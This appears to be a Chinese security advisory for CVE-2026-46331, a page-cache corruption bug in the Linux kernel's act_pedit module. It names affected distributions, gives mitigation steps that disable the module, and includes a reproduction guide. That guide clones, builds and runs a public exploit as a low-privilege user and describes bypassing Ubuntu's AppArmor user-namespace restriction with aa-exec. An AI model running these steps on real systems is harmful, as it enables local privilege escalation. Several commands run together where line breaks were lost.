CVE-2026-46331是Linux内核net/sched子系统act_pedit中的一个内存破坏漏洞。
该漏洞源于tcf_pedit_act()在处理typed keys时,预计算的COW(Copy-on-Write)范围(tcfp_off_max_hint)未考虑运行时头部偏移,导致部分写区域未正确触发COW,进而可能污染页缓存。
受影响版本主要为修复前的主线及stable分支(大致v5.18至v6.15+/v7.1-rc7前,具体以各发行版backport为准)。受限于现代发行版的安全沙箱机制(如限制非特权userns),目前公开验证可成功利用的目标环境主要为:RHEL 10.0、Debian 13以及Ubuntu 24.04.4。
复现指南
创建新的低权限用户
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd
使用低权限用户登录ssh后,执行
git clone https://github.com/sgkdev/packet_edit_meme && cd packet_edit_meme && make# 运行 (针对 RHEL/Debian等默认允许非特权userns的系统)./packet_edit_meme# 运行 (针对Ubuntu系统,需要绕过AppArmor对userns的限制)# 利用aa-exec借用Chrome、Flatpak或Trinity等AppArmor白名单,绕过系统对普通用户创建userns的限制./packet_edit_meme --ubuntu
修复指南
截至目前,多数主流Linux发行版的内核安全更新尚未完全推送CVE-2026-46331的修复补丁(官方修复commit为899ee91156e5)。临时禁用act_pedit内核模块是目前最有效、最推荐的缓解措施。
# 1. 创建禁用配置文件echo"install act_pedit /bin/false" | sudo tee /etc/modprobe.d/disable-act_pedit.conf# 2. 立即尝试卸载已加载的模块# 注意:如果卸载时报错 "Module is in use",说明当前有tc规则正在引用它。# 需先清理相关的tc filter(例如:sudo tc filter del dev eth0 protocol ip pref 1),然后再执行rmmod。sudo rmmod act_pedit 2>/dev/null || true# 3. 更新initramfs(Ubuntu/Debian建议执行,如果是RHEL/CentOS请改用sudo dracut -f)sudo update-initramfs -u# 4. 建议重启服务器sudo reboot# 5. 验证是否生效(应该没有任何输出)lsmod | grep act_pedit
如果未来想启用的话:
# 1. 删除禁用配置文件sudo rm -f /etc/modprobe.d/disable-act_pedit.conf# 2. 立即尝试加载模块sudo modprobe act_pedit# 3. 验证是否加载成功lsmod | grep act_pedit